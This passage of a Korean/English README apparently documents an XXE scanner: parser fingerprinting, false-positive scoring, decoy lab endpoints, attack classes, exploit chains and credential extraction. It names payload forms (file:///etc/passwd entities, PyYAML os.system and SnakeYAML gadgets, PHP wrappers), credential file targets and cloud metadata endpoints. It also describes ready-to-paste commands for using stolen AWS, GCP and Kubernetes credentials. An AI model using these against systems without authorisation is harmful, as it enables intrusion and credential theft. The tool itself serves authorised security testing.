핑거프린트 단계는 두 가지 질문에 답함: **어떤 XML 스택이 실행 중인가**, 그리고 **어떤 엔티티 해석 기능을 노출하는가**. 둘 다 단계 선택을 주도함 — DOCTYPE을 완전히 거부하는 대상에는 로컬 DTD 스윕을 실행할 필요가 없음.

### 기능 프로브

9개의 쌍을 이룬 프로브, 각각 테스트 페이로드와 제어 페이로드 포함:

| 기능 | 테스트 | 성공 조건(테스트 통과, 제어 실패) |
|---|---|---|
| `dtd_allowed` | 요소 선언이 있는 정상 DOCTYPE | `200`, 마커 문자열 존재 |
| `dtd_entity_syntax_accepted` | 엔티티 선언이 있는 DOCTYPE(사용되지 않음) | `200`, 마커 존재 |
| `dtd_parsed_but_not_resolved` | 엔티티가 선언되고 참조된 DOCTYPE | `200`, 원시 `&x;` 표시됨(파서가 확장하지 않고 유지) |
| `internal_entity` | 내부 엔티티 확장됨 | `200`, 마커 존재, `&x;` 없음 |
| `external_file` | `SYSTEM "file:///etc/hostname"` | `200`, 출력이 호스트명처럼 보임, 마크업 없음, 원시 엔티티 없음 |
| `parameter_entity` | 내부 매개변수 엔티티 스테이저 | `200`, `PE_MARKER` 존재, `&inner;` 없음 |
| `external_dtd` | `SYSTEM "http://127.0.0.1:1/nonexistent.dtd"` | `5xx`, 또는 `Connection refused` / `Failed to load` / `IO error` 존재 |

제어는 정상 본문을 가진 동일한 요청임. 기능은 테스트의 성공 조건자가 통과하고 **그리고** 제어의 조건자가 통과하지 않을 때만 `True`로 표시됨. 이것이 핑거프린트를 패턴 매칭이 아닌 차분 방식으로 만드는 것임 — 항상 `200 OK`를 반환하는 대상은 "DTD 허용됨"을 거짓으로 보고할 수 없음.

### 시그니처 매칭

프로브의 응답 본문(및 모든 `5xx` 응답 본문)이 오류 텍스트 버퍼에 누적됨. 해당 버퍼는 11개 시그니처 패밀리와 대조됨:

| 패밀리 | 대표 문자열 |
|---|---|
| `libxml2` | `lxml.etree.XMLSyntaxError`, `xmlParseEntityRef`, `Failed to load external entity`, `Premature end of data in tag` |
| `xerces` | `org.apache.xerces`, `com.sun.org.apache.xerces`, `SAXParseException`, `was referenced, but not declared`, `cvc-elt.` |
| `dotnet` | `System.Xml.XmlException`, `System.Xml.XmlReader`, `An error occurred while parsing EntityName`, `DTD is prohibited` |
| `java_sax` | `org.xml.sax.SAXParseException`, `DocumentBuilder`, `JAXP00010001`, `AccessExternalDTD`, `disallow-doctype-decl` |
| `java_stax` | `javax.xml.stream.XMLStreamException`, `IS_SUPPORTING_EXTERNAL_ENTITIES`, `woodstox`, `com.ctc.wstx` |
| `python_etree` | `xml.etree.ElementTree.ParseError`, `xml.parsers.expat.ExpatError`, `undefined entity`, `not well-formed (invalid token)` |
| `php_libxml` | `Warning: DOMDocument::load`, `SimpleXMLElement::__construct():`, `DOMException:` |
| `ruby` | `REXML::ParseException`, `Nokogiri::XML::SyntaxError`, `The entity expansion has been blocked` |
| `node` | `ExpatError`, `xml2js`, `libxmljs`, `fast-xml-parser`, `Unexpected close tag` |
| `perl` | `XML::LibXML`, `XML::Parser`, `XML::Twig`, `Couldn't parse` |
| `go` | `encoding/xml`, `XML syntax error on line`, `xml: cannot unmarshal` |

가장 많은 적중을 기록한 패밀리가 승리함. `libxml2` 패밀리는 의도적으로 가장 큼 — lxml의 예외 클래스, 기반 C 함수 이름, libxml2의 사람이 읽을 수 있는 진단이 모두 포함되므로, lxml을 사용하는 대상은 Python 표준 라이브러리 `etree`(expat이며 대신 `python_etree` 패밀리와 일치)를 사용하는 대상과 확실하게 구별됨.

### 디스크 캐시

핑거프린트 결과는 `~/.cache/xxeripper/fingerprints.json`에 캐시되며, 대상 URL로 키가 지정됨. 캐시된 항목은 승리한 파서 이름, 전체 기능 딕셔너리, 타임스탬프를 저장함. 동일한 URL의 반복 스캔은 프로브 단계를 완전히 건너뜀.

캐시는 대상의 XML 스택이 변경되지 않는 한 실행 간에 안정적임. CI에서는 `HOME`을 영속 캐시 디렉터리로 지정하여 매 실행마다 프로브 요청을 절약할 수 있음. 파일을 삭제하거나 `--no-fingerprint-cache`를 전달하여 무효화함.

### 기능 게이팅

두 단계가 핑거프린트 결과를 소비함:

- **인밴드 파일 읽기** — 핑거프린트가 성공했고 `internal_entity`, `external_file`, `external_dtd`, `parameter_entity`, `dtd_allowed` 전체에서 엔티티 해석 기능이 없다고 보고한 경우 건너뜀.
- **오류 기반 로컬 DTD 스윕** — 동일한 게이트. 잘못된 형식의 엔티티 하위 기법은 로컬 DTD가 전혀 필요 없는 스택(Xerces, .NET)에서 성공하므로 관계없이 실행됨.

게이트는 핑거프린트가 *성공*한 경우에만 작동함(즉, 최소 하나의 기능이 `True`이고 승리한 파서 패밀리가 있음). 모두 `False`를 반환한 핑거프린트 — 대상이 XML을 전혀 파싱하지 않는 경우 발생 — 는 "알 수 없음"으로 처리되고 단계는 무조건 실행됨. 이는 잘못 구성된 핑거프린트가 실제 발견 사항을 억제하는 실패 모드를 방지함.

`--no-fingerprint`를 전달하여 단계와 게이트를 완전히 비활성화함.

---

## 탐지 방법론

탐지 파이프라인은 의도적으로 계층화됨. 각 계층은 거부권 또는 가중치이며, 각각은 방지하도록 설계된 특정 실패 모드를 가짐.

### 계층 1 — 통계적 기준선

어떤 공격 페이로드보다 먼저 7개의 정상 `POST` 요청이 전송됨. 해당 샘플에서:

- **중앙값 본문 길이** — 길이 델타 점수에 사용됨.
- **중앙값 경과 시간** 및 **IQR** — 타이밍 이상 점수에 사용됨.
- **최빈 상태 코드** — 상태 변화 점수에 사용됨.
- **가장 흔한 본문 해시** — 무변화 거부권에 사용됨.
- **전체 본문에 대한 중앙값 Shannon 엔트로피** — 하한 타당성 검사로 사용됨.
- **256바이트 윈도우에 대한 중앙값 윈도우 엔트로피** — 엔트로피 이상 점수에 사용됨.
- **모든 샘플 본문의 합집합** — 기준선 고정 파서 오류 검사에 사용됨.

기준선 통계가 앵커임. 모든 후속 점수 결정은 고정 임계값이 아닌 이 기준선과 후보 응답을 비교함.

### 계층 2 — 거부권

거부권은 점수 매기기 전에 명백한 노이즈를 거부함. 두 개는 강하고, 하나는 약함.

**반사 거부권(강함, −100).** 응답 본문에 페이로드의 40자 부분 문자열이 포함된 경우(URL 디코딩 및 공백 정규화 후), 페이로드가 엔티티 해석 없이 그대로 에코된 것임. 이는 순진한 스캐너에서 가장 흔한 오탐 원인임 — 입력을 에코하는 모든 "XML 파서 테스트" 엔드포인트는 그렇지 않으면 취약한 것처럼 보일 것임.

**약한 반사 페널티(−30).** 반사가 탐지되었지만 응답이 *또한* 강한 신호(파일 핑거프린트, 상관된 OOB 콜백, 체인 무결성, 또는 고신뢰도 파서 오류)를 전달하는 경우, 강한 거부권이 −30 페널티로 강등됨. 이는 실제 파일 읽기가 요청의 일부를 에코하는 페이지 내부에 포함된 경우를 처리함.

**무변화 거부권(강함, −50).** 응답 본문이 기준선의 가장 흔한 본문 해시와 바이트 단위로 동일한 경우, 페이로드는 아무것도 변경하지 않음. `strong_signal`은 이를 거부권 없이 정상 점수로 강등함.

**정규화된 기준선 일치(강함, −75).** 해시가 다르더라도, 응답은 공백, 16진수 블롭, 긴 숫자, CSRF 토큰, 세션 ID를 제거한 후 구조적으로 동일할 수 있음. 그렇다면 기준선 노이즈임. 동일한 `strong_signal` 게이트.

**엔트로피 이상(상향 전용).** `median_length >= 256`일 때만 작동함. 전체 응답 엔트로피는 주변 페이지 장식에 의해 지배되며 작은 내장 고엔트로피 영역 — 큰 오류 페이지 내의 파일 읽기 결과 — 을 놓침. 윈도우 스캔(256바이트 윈도우, 128바이트 스텝, 처음 16 KiB)이 이를 포착함. 기준선보다 0.5 bits/byte 높을 때 +5에서 기준선보다 4.0 bits/byte 높을 때 +20까지 확장됨.

### 계층 3 — 긍정 신호

살아남은 각 후보는 기준선과 대조하여 점수가 매겨짐:

| 신호 | 가중치 | 기준선 앵커 |
|---|---|---|
| 파일 콘텐츠 핑거프린트 | +40, 추가 지표당 +5 | 지표가 기준선 본문에 나타나지 않아야 함 |
| 체인 무결성(엔티티가 선언만이 아닌 종단 간 해석됨) | +25 | 구조적 — 응답이 마크업이 아닌 콘텐츠로 파싱됨 |
| 파서 오류(높음 / 중간 / 낮음) | +20 / +15 / +5 | 오류 문자열이 기준선 본문에 나타나지 않아야 함 |
| 타이밍 이상 확인됨 | +20 | 델타 ≥1.5s, 비율 ≥2.5× 중앙값, 그리고 델타 ≥4× IQR 또는 델타 ≥2× 관찰된 지터 |
| 윈도우 엔트로피 이상 | +5 ~ +20 | 상향 전용, bits/byte 델타로 스케일링됨 |
| 상관된 OOB 콜백 | +50 | 콜백 서브도메인의 토큰이 대기 중인 토큰과 일치 |
| 상관되지 않은 OOB 콜백 | +15 | 콜백이 도착했지만 토큰이 일치하지 않음 |
| 길이 델타(≥20%) | +10 | 중앙값 길이 대비 |
| 상태 변화 | +5 | 최빈 상태 대비 |

파일 핑거프린트는 **최소 두 개**의 지표 문자열이 일치해야 하며, 응답이 마크업처럼 보이지 않아야 함. 이것이 문서 스니펫에서 `root:x:0:0:`을 언급하는 페이지가 `/etc/passwd` 탐지기를 작동시키는 것을 방지함.

### 계층 4 — 분류

| 점수 | 필수 신호 | 독립 패밀리 | 결과 |
|---|---|---|---|
| ≥70 | 예 | ≥2 | **확인됨** — CRITICAL |
| 45–69 | 예 | 모두 | **잠재적** — HIGH |
| 25–44 | 예 | 모두 | **잠재적** — MEDIUM |
| <25 | 예 | 모두 | **이론적** — LOW *(억제됨)* |
| 모두 | 아니오 | 모두 | **이론적** — INFO *(억제됨)* |

**필수 신호**는 세 가지로 제한됨: `file_type`(파일 콘텐츠 핑거프린트 일치), `oob_correlated`(암호화 상관된 OOB 콜백 도착), `chain_integrity`(엔티티가 종단 간 해석됨). 파서 오류와 타이밍 이상은 점수에 기여하지만 단독으로 발견 사항을 확인할 수 없음 — 파서 오류는 페이로드가 파서에 도달했음을 말하며 엔티티가 해석되었음을 말하지 않음; 타이밍 델타는 대상이 더 오래 걸렸음을 말하며 네트워크 페치가 발생했음을 말하지 않음.

**독립 패밀리**는 별개의 증거 *유형*을 계산함: `file_type`, `oob_correlated`, `chain_integrity`, `parser_error`, `response_elapsed`. 두 패밀리 요구 사항은 점수 ≥70에서도 단일 강한 핑거프린트가 단독으로 CRITICAL로 승격될 수 없음을 의미함. 두 번째 독립 신호 — XXE 응답에 특정한 파서 오류, 또는 타이밍 이상, 또는 체인 무결성 — 가 필요함.

### 계층 5 — 스캔 전반에 걸친 신뢰 구축

각 단계는 이전보다 더 확신 있는 대상의 그림을 봄. 핑거프린트가 먼저 실행되고 파일 읽기 단계를 게이팅함. 파일 읽기 단계는 loot를 생성하고, 이는 체인 단계를 시드함. 체인 단계는 템플릿을 완료하고, 이는 롤업을 생성함. 롤업은 그 자체로 발견 사항으로 취급되며 모든 출력 형식에 나타남.

결과는 "깨끗함"을 가정이 아닌 검증해야 할 상태로 취급하고, 모든 단계에서 커버리지를 보고하여 운영자가 "대상이 취약하지 않음"과 "대상이 테스트되지 않음"을 구별할 수 있게 하는 스캐너임.

### 랩의 오탐 미끼

번들 랩에는 과다 보고하는 스캐너를 작동시키도록 특별히 설계된 17개의 안전한 엔드포인트가 포함되어 있음. 5개의 기준선 미끼:

- `/xml/safe` — 엔티티가 비활성화된 상태로 파싱함. 올바른 스캐너는 `[OK]`를 보고함.
- `/xml/noise` — 요청마다 무작위 본문을 반환함. 기준선 정규화가 이를 포착함.
- `/xml/stripped` — XML을 파싱하지만 먼저 ENTITY 선언을 제거함. "파서가 실행됨"을 발견 사항으로 취급하는 스캐너는 여기서 실패할 것임.
- `/xml/silent` — 파싱하지만 파싱 전에 DOCTYPE을 제거함. 엔티티가 남지 않음. 거짓 음성 미끼.
- `/xml/safe-metadata` — HTML 내부에 AWS 형태의 문자열을 반환함. 파일 핑거프린트는 작동하려면 두 개의 지표와 비마크업이 필요함 — 여기의 응답은 마크업임.

추가로 12개의 범위 일치 안전 대응물(`/xml/safe-form`, `/xml/safe-query`, `/xml/safe-svg`, `/xml/safe-saml`, `/xml/safe-soap`, `/xml/safe-multipart`, `/xml/safe-docx`, `/xml/safe-xinclude`, `/xml/safe-xinclude-xml`, `/xml/safe-xslt`, `/xml/safe-xsd`, `/xml/safe-pi`)이 있으며, 취약한 대응물과 동일한 범위 검사를 실행하지만 엔티티가 비활성화된 상태로 파싱함. 이 17개 엔드포인트 중 어느 것에서든 발견 사항이 나오면 스캐너 버그임.

---

## 정확도 엔진

**필수 신호 게이트**를 사용한 가중 점수 매기기. 모든 후보 응답은 통계적 기준선과 대조하여 점수가 매겨짐. 이 섹션은 가중치와 임계값을 자세히 설명함; [탐지 방법론](#detection-methodology) 섹션이 그 근거를 설명함.

| 신호 | 가중치 |
|---|---|
| 상관된 OOB 콜백 | +50 |
| 파일 콘텐츠 핑거프린트 | +40 (추가 지표당 +5) |
| 체인 무결성(엔티티가 선언만이 아닌 해석됨) | +25 |
| 파서 오류 델타(높음 / 중간 / 낮음) | +20 / +15 / +5 |
| 타이밍 이상 확인됨 | +20 |
| 윈도우 엔트로피 이상 | +5 ~ +20, bits/byte 델타로 스케일링됨 |
| 상관되지 않은 OOB 콜백 | +15 |
| 길이 델타(≥20% 편차) | +10 |
| 상태 코드 변화 | +5 |
| 반사 페널티(강한 신호 존재) | −30 |
| 반사 거부권(강한 신호 없음) | −100 |
| 무변화 거부권 | −50 |
| 정규화된 기준선 일치 | −75 |

**윈도우 엔트로피**는 256바이트 슬라이딩 윈도우(128바이트 스텝, 처음 16 KiB)를 사용함. `median_length >= 256`일 때만, 상향 변화에서만, 그리고 델타가 0.5 bits/byte를 초과할 때만 작동함. 임계값에서 +5에서 4.0 bits/byte에서 +20까지 확장됨.

| 점수 | 필수 신호 | 독립 패밀리 | 결과 |
|---|---|---|---|
| ≥70 | 예 | ≥2 | **확인됨** — CRITICAL |
| 45–69 | 예 | 모두 | **잠재적** — HIGH |
| 25–44 | 예 | 모두 | **잠재적** — MEDIUM |
| <25 | 예 | 모두 | **이론적** — LOW *(억제됨)* |
| 모두 | 아니오 | 모두 | **이론적** — INFO *(억제됨)* |

**타이밍 발견 사항은 항상 `potential`이며 `confirmed`가 아님** — 타이밍 델타는 대상이 더 오래 걸렸음을 말하며 엔티티가 해석되었음을 말하지 않음.

### CWE 매핑

최장 접두사 우선 조회. XXE 발견 사항은 CWE-611을 가짐; 정보 노출 발견 사항은 CWE-200을 추가함; 엔티티를 통한 SSRF, XSLT/XSD 페처, 그리고 모든 `XXE-CLOUD-METADATA-*` 발견 사항은 CWE-918을 추가함; PHP `expect://`와 `XXE-RCE-*` 래퍼는 CWE-78을 추가함; Billion Laughs는 CWE-776임; 오류 기반 로컬 DTD 재사용은 CWE-829를 추가함; `XXE-SAML-PRESIG`는 CWE-347을 추가함; `XXE-WAF-BYPASS-*`는 CWE-693을 추가함; YAML 역직렬화 단계는 CWE-502를 추가함.

---

## 공격 기법

10개 클래스에 걸쳐 30개 이상의 패밀리.| Class | Techniques | Severity | CWE |
|---|---|---|---|
| In-band | Classic file read, PHP filter chain, SSRF via entity | CRITICAL | 611, 200, 918 |
| In-band RCE | PHP `expect://` | CRITICAL | 611, 78 |
| Error-based | Local DTD reuse, Malformed entity | CRITICAL | 611, 200, 829 |
| Blind | DNS OOB, External DTD OOB, Parameter-entity OOB, CDATA bypass, Timing-based | CRITICAL / HIGH | 611 |
| Encoding bypass | UTF-16, UTF-7, UCS-4, alternate DOCTYPE | HIGH | 611 |
| Alternative sinks | XInclude (`parse='text'`, `parse='xml'`), SVG upload, SAML envelope, SOAP envelope | CRITICAL | 611, 918 |
| Extended fetchers | XSLT `document()`, XSLT `xsl:include`, XSD `schemaLocation`, XSD `xsd:import`, `xml-stylesheet` PI, Multipart XML field, DOCX upload | HIGH / CRITICAL | 611, 918 |
| Cloud metadata | AWS IMDSv1, AWS IMDSv2 (detected), AWS IAM credentials, AWS user-data, GCP token/project, Azure IMDS/managed-identity, Alibaba RAM, OCI, Kubernetes secrets | CRITICAL / HIGH | 611, 918, 200 |
| RCE wrappers | Java `jar:`, PHP `data://`, PHP `phar://`, PHP `glob://`, PHP `compress.zlib://` | CRITICAL | 611, 78, 200 |
| SAML pre-signature | Assertion body parsed before signature verification | HIGH | 611, 347 |
| JSON-to-XML | Content-type switching on JSON-only endpoints | HIGH | 611, 200 |
| Office document | DOCX/XLSX `xml-stylesheet` PI fetched by server-side XSLT processors | CRITICAL | 611, 918 |
| YAML deserialization | PyYAML `!!python/object/apply`, SnakeYAML `!!javax.script.ScriptEngineManager` | CRITICAL | 502, 611 |
| DoS | Billion Laughs | HIGH | 776 |

**Delivery-vector phases**는 표준 `POST` + `application/xml` 형태를 넘어서 탐색합니다:

- **Content-Type matrix** — XML과 유사한 아홉 가지 콘텐츠 타입 아래에서의 고전적 페이로드. 많은 서버는 Content-Type이 일치할 때만 XML 파서로 라우팅합니다.
- **HTTP method variation** — `PUT`과 `PATCH`. REST API는 `POST`가 JSON 전용일 때조차 해당 메서드에서 XML을 자주 수용합니다.
- **Query-parameter injection** — `?xml=`, `?data=`, `?payload=`, `?input=`. 레거시 API와 게이트웨이는 본문이 XML로 파싱되지 않더라도 종종 이 방식으로 XML을 수용합니다.
- **JSON-to-XML switching** — 무해한 XML 프로브로 엔드포인트가 광고된 JSON과 함께 `application/xml`을 수용하는지 판별합니다. `415`로 강경 거부되지 않으면, 스캐너는 고전적 파일 읽기 페이로드로 후속 공격을 진행합니다. 이는 클래스패스에 `jackson-dataformat-xml`이 있는 Spring MVC(어떤 `@RequestBody` 엔드포인트에서도 애노테이션 없이 조용히 XML을 수용)를 잡아냅니다.

**Cloud metadata**는 단순한 URL 목록의 항목이 아니라 전용 단계입니다. 여섯 개 제공자에 걸친 열한 개 엔드포인트가 프로브됩니다. 각각은 제공자별 키(AWS IAM의 경우 `AccessKeyId`, `SecretAccessKey`, `SecurityToken`; GCP OAuth의 경우 `access_token`, `expires_in`, `token_type`; Azure의 경우 `vmId`, `subscriptionId` 등)에 대해 핑거프린팅됩니다. 자격 증명 마커를 포함한 응답은 CRITICAL로 승격되며 더 이상 프로브되지 않습니다. **IMDSv2 detection**: 상태 `401`과 본문에 `token`이 있는 AWS 응답은 `XXE-CLOUD-METADATA-IMDSV2`(HIGH)로 보고됩니다 — SSRF 프리미티브는 존재하지만 메타데이터 서비스가 세션 토큰을 강제합니다. 추출된 자격 증명은 `LootStore.add_secret`을 통해 라우팅되어 WebUI의 Loot 탭에 붙여넣기 가능한 스니펫과 함께 저장됩니다.

**XXE-to-RCE wrappers**는 각각의 특징적인 성공 신호에 대해 프로브됩니다:

| Wrapper | Signal |
|---|---|
| Java `jar:file://…!/META-INF/MANIFEST.MF` | `Manifest-Version`, `Main-Class` |
| PHP `data://text/plain;base64,…` | `phpinfo`, `<?php` |
| PHP `phar://…/stub` | `unserialize`, `__PHP_Incomplete_Class` |
| PHP `glob:///etc/*` | Path listings (`/etc/`, `/root/`, `/usr/`) |
| PHP `compress.zlib://…` | `root:x:`, `daemon:x:` |

**SAML pre-signature** — SAML 서비스 제공자는 서명을 검증하기 전에 어서션 본문을 파싱해야 하며, 이는 CVE-2026-28809(esaml)가 노출한 순서입니다. 이 단계는 의도적으로 유효하지 않은 서명을 가진 잘 구성된 SAML 어서션을 먼저 전송합니다. 파서 오류나 `200`은 엔드포인트가 XML 파싱에 도달했음을 나타냅니다. 그 후에야 XXE 페이로드가 전송됩니다. SAML 형태의 URL(`saml`, `sso`, `adfs`, `okta`, `assertion`, `federation`, `idp`, `sts/`, `sp/`)에서 자동으로 실행되거나, `--saml`로 무조건 실행됩니다.

**Office-document XSLT** — `xml-stylesheet` PI는 일부 구성에서 서버 측 문서 프로세서(Word 미리보기 렌더러, PDF 변환기, LibreOffice headless, Apache POI XSLF)에 의해 존중됩니다. 이 단계는 `word/document.xml`(또는 `xl/workbook.xml`) 파트가 공격자 제어 XSLT를 가리키는 PI를 담고 있는 최소한의 DOCX(또는 XLSX)를 생성합니다. 상관된 콜백은 스타일시트가 페치되었음을 증명합니다. 엄밀한 의미의 XXE와는 구별됩니다 — 이는 XSLT 호출이며, 파일 노출(`document('file:///etc/passwd')`)과 SSRF로 이어집니다.

**YAML deserialization** — CWE-611이 아닌 CWE-502입니다. 스캐너는 네 가지 프로브를 제공합니다: PyYAML `!!python/object/apply:os.system`과 SnakeYAML `!!javax.script.ScriptEngineManager`이며, 각각은 원시 `application/x-yaml` 본문과 XML 래퍼 내부의 두 가지 형태로 전달됩니다. 상관된 콜백은 RCE를 증명합니다. 이 단계는 첫 성공 후 중단됩니다. 대체 변형들은 노이즈에 불과할 것입니다.

**File-target phases** — 기본적으로 21개 경로 우선순위 세트; `--full-file-scan`은 58개 경로로 확장하여 Linux `/proc` 순회, 애플리케이션 소스 및 `.env` 파일, SSH/AWS/GCP 자격 증명 경로, 컨테이너 마커, `/run/secrets/*`, Kubernetes 서비스 계정 프로젝션, 그리고 Windows SAM 백업, unattend 파일, IIS 로그, 관리자 자격 증명을 추가합니다. 스캔 시점에 중복 제거되며, 어떤 경로도 두 번 프로브되지 않습니다.

**Error-based findings are split** — 기법들이 서로 다른 파서에 대해 성공하기 때문입니다:

- `XXE-ERROR-BASED-LOCAL-DTD` — 대상 파일시스템에 이미 존재하는 DTD를 하이재킹합니다. libxml2 ≥2.9에서 수용되는 external-DOCTYPE 형식을 사용합니다.
- `XXE-ERROR-BASED-MALFORMED` — 내부 서브셋 내부에 파라미터 엔티티를 선언하고 파서 오류가 파일을 유출하도록 합니다. Xerces와 .NET에서 작동하며, libxml2는 C 레벨에서 내부 서브셋 PE를 거부합니다.

**Timing probes**는 엔티티를 라우팅 불가능이 보장된 RFC 5737 TEST-NET-1 주소(`http://192.0.2.1/`)로 향하게 합니다. 엔티티 해석은 리졸버의 TCP 연결 타임아웃에서 블록됩니다.

**Opt-in phases:** `--timing`(대상당 약 5초 연결 세 개를 유지), `--unsafe`(Billion Laughs), `--svg`(업로드 형태 단계), `--saml`(SAML pre-signature), `--full-file-scan`(확장 파일 목록), `--bypass-waf`(아래 참조).

---

## Exploit Chains and Loot Extraction

두 개의 하위 시스템이 개별 발견을 서사로 전환합니다.

### Chain tracker

`add_finding`을 통과하는 모든 발견은 단일 훅을 통해 체인 단계를 시드합니다: `_record_chain_stages`는 발견의 ID와 증거 딕셔너리를 읽고 그 조합이 함의하는 단계를 기록합니다. `file_type` 증거 키를 가진 발견은 `xxe_confirmed`를 기록합니다. `loot_id`를 가진 발견은 `file_content_recovered`를 기록합니다. 증거에 `extracted_credentials`가 포함된 발견은 `credential_extracted`를 기록하며, 자격 증명이 SSH 개인 키인 경우 `ssh_key_extracted`도 발동합니다. 이런 식으로 계속됩니다.

열세 개의 체인 템플릿이 정의되어 있습니다. 각각은 단계 세트를 요구합니다. 모든 필수 단계가 존재하면 체인은 **한 번** 발동하며(동시성 경합에 대해 보호됨) 롤업 발견을 방출합니다:

| Chain ID | Path | Severity |
|---|---|---|
| `xxe_inband_file_credential_theft` | XXE → in-band file read → credential theft | CRITICAL |
| `xxe_imds_iam_aws_takeover` | XXE → IMDS → IAM credentials → AWS account takeover | CRITICAL |
| `xxe_error_based_file_recovery` | XXE → error-based leak → file content recovered | HIGH |
| `xxe_php_source_disclosure` | XXE → PHP filter → source disclosure | CRITICAL |
| `xxe_rce_chain` | XXE → protocol wrapper → RCE chain confirmed | CRITICAL |
| `xxe_blind_oob_confirmed` | XXE → blind OOB callback confirmed | HIGH |
| `xxe_ssrf_internal_enum` | XXE → SSRF → internal service reached | HIGH |
| `xxe_waf_bypass_confirmed` | XXE → WAF bypass → entity resolution confirmed | HIGH |
| `xxe_kubernetes_cluster_takeover` | XXE → Kubernetes secrets API → cluster credential theft | CRITICAL |
| `xxe_k8s_serviceaccount_token` | XXE → in-cluster SA token read | CRITICAL |
| `xxe_ssh_key_lateral_movement` | XXE → SSH private key → lateral movement primitive | HIGH |
| `xxe_gcp_oauth_token_extraction` | XXE → GCP metadata → OAuth token extraction | CRITICAL |
| `xxe_azure_managed_identity` | XXE → Azure IMDS → managed-identity token | CRITICAL |

롤업 발견은 JSON 직렬화 가능한 단계 추적, 100의 집계 점수, 전체 길이의 이유 체인을 담습니다. 이들은 다른 발견과 마찬가지로 JSON, SARIF, HTML 출력에 나타나며, ID 접두사(`XXE-CHAIN-`)는 체인 시딩에서 제외되어 절대 루프하지 않습니다.

### Loot store

모든 파일 읽기 발견은 `LootStore`를 통해 라우팅되며, 이는:

1. `FileContentExtractor`를 통해 응답 본문에서 원시 파일 콘텐츠를 추출합니다. 추출기는 `(file_path, fingerprint_type)`에 따라 디스패치합니다: `/etc/passwd`와 `/etc/shadow`는 경로 접두사를 유출하는 파서 오류를 위한 중간 라인 폴백이 있는 라인 지향 매처를 가집니다; SSH 키는 PEM 경계를 사용합니다; `.env`, `web.ini`, `system.ini`, `boot.ini`는 INI 스타일 매처를 가집니다; `web.config`는 구성 요소 매처를 사용합니다; `/proc/self/environ`은 NUL로 구분된 본문을 처리합니다. 일반 폴백은 마크업 응답에서 `<pre>` / `<textarea>` / `<code>` 블록을 끌어냅니다.
2. 256 KB로 자릅니다(자격 증명은 자르기 전에 전체 콘텐츠에서 추출됩니다).
3. 콘텐츠의 SHA-256으로 중복 제거합니다.
4. 전체 콘텐츠에 대해 `CredentialExtractor`를 실행합니다.

`CredentialExtractor`는 일곱 가지 자격 증명 종류를 인식합니다:

| Kind | Source | Confidence |
|---|---|---|
| `aws_iam` (JSON) | AWS IMDS `AccessKeyId` / `SecretAccessKey` / `Token` | 95 |
| `aws_iam` (INI) | AWS CLI credentials file (`aws_access_key_id` / `aws_secret_access_key` / `aws_session_token`) | 90 |
| `alibaba_ram` | Alibaba Cloud metadata (`AccessKeyId` / `AccessKeySecret` / `SecurityToken`) | 90 |
| `ssh_private_key` | PEM private key blocks (RSA, OpenSSH, DSA, EC, PKCS#8) | 90 |
| `gcp_service_account` | Service-account JSON (`"type": "service_account"` + `private_key_id`) | 85 |
| `oauth_token` | GCP metadata and Azure managed-identity response (`access_token` + `expires_in` / `expires_on`) | 85 |
| `k8s_sa_token` | Kubernetes `SecretList` (`data.token` base64-JWT) or a bare service-account token file | 90 |
| `generic_bearer` | Any `Bearer <token>` or `Authorization: <token>` match with a 24+ character token | 40 |

각 자격 증명은 붙여넣기 가능한 셸 스니펫 목록을 생성합니다:

- **AWS IAM** — 키가 여전히 작동하는지 확인하는 `aws sts get-caller-identity`, `aws s3 ls`, IAM 정책 열거, 그리고 현재 셸을 위한 `export` 블록.
- **Alibaba RAM** — `aliyun sts GetCallerIdentity`, `aliyun oss ls`, 그리고 올바른 `ALIBABA_CLOUD_*` 환경 변수를 사용한 `export` 블록.
- **SSH private key** — 설치, 핑거프린트, 그리고 `github.com` / `gitlab.com` / `bitbucket.org`에 대한 시도.
- **GCP service account** — `gcloud auth activate-service-account`로 키 활성화.
- **OAuth access token** — Google의 userinfo 엔드포인트(GCP 토큰에 작동)와 Azure의 subscriptions 엔드포인트(Azure 토큰에 작동)에 대한 `curl`.
- **Kubernetes service-account token** — JWT의 클레임에서 디코딩된 네임스페이스와 서비스 계정 이름으로 구성된 `kubectl --token=…` 스니펫, 그리고 서명을 검증하지 않고 토큰의 클레임을 검사하는 `jq` 명령.
- **Generic bearer** — 토큰이 여전히 유효한지 테스트하기 위한 `httpbin.org/bearer`에 대한 `curl`.

추출된 자격 증명은 발견의 증거(`extracted_credentials`)와 loot 항목(`credentials`) 모두에 첨부됩니다. WebUI의 **Loot** 탭과 Inspector의 **Overview** 탭은 명령별 복사 버튼과 함께 이를 인라인으로 렌더링합니다. HTML 보고서는 *Extracted loot* 섹션 아래에 이를 포함합니다.

전체 자격 증명 값은 Loot 미리보기에 나타납니다. 마스킹은 v1.0.0에서 제거되었습니다. 동일한 값이 이미 Inspector, JSON 출력, SARIF 출력, HTML 보고서에서 마스킹 없이 보이기 때문에 한 곳에서만 마스킹하고 다른 곳에서는 하지 않는 것은 아무 의미가 없었습니다.

### Loot routing across techniques

Loot 추출은 응답 본문에 파싱 가능한 파일 콘텐츠가 포함된 모든 발견에서 실행됩니다:

- **In-band file reads** — `/etc/passwd`, `/etc/shadow`, SSH 키, `.env` 등. 응답에서 직접 추출됩니다.
- **Error-based leaks** — 파일 콘텐츠가 파서 오류 텍스트에 내장됩니다. 중간 라인 `/etc/passwd` 매처가 이를 잡아냅니다.
- **PHP filter output** — 추출 전에 base64 디코딩된 후 자격 증명 추출기를 통해 라우팅됩니다.
- **XInclude resolves** — 인라인된 콘텐츠는 동일한 추출기에 의해 파싱됩니다.
- **Cloud metadata responses** — 자격 증명이 추출되어 `LootStore.add_secret`을 통해 라우팅되며, 결과 loot ID는 발견의 증거에 `loot_ids`로 첨부됩니다.
- **Blind OOB exfiltration** — `--oob-listen` 또는 `--oob-dtd-dir`이 활성화되어 있거나(또는 WebUI 호스팅 DTD 서버), 콜백이 파일 콘텐츠를 운반할 때, `OOBExfilExtractor`가 이를 끌어내고 결과는 in-band 읽기와 동일한 파일 콘텐츠 및 자격 증명 추출기를 통과합니다.

블라인드 유출 경로는 도구의 성격을 바꾸는 경로입니다. 그 이전에는 `XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED`가 "대상이 우리 DTD를 페치했다"고 말했습니다. 그 이후에는 동일한 발견이 증거에 `loot_id`, `extracted_content_preview`, `extracted_credentials`를 담고, 체인 추적기가 loot를 보고 `xxe_blind_oob_confirmed` → `file_content_recovered` → `credential_extracted`를 발동할 수 있으며, WebUI Loot 탭이 in-band 읽기와 동일한 붙여넣기 가능한 스니펫과 함께 복구된 파일을 렌더링합니다.

---

## Out-of-Band Confirmation

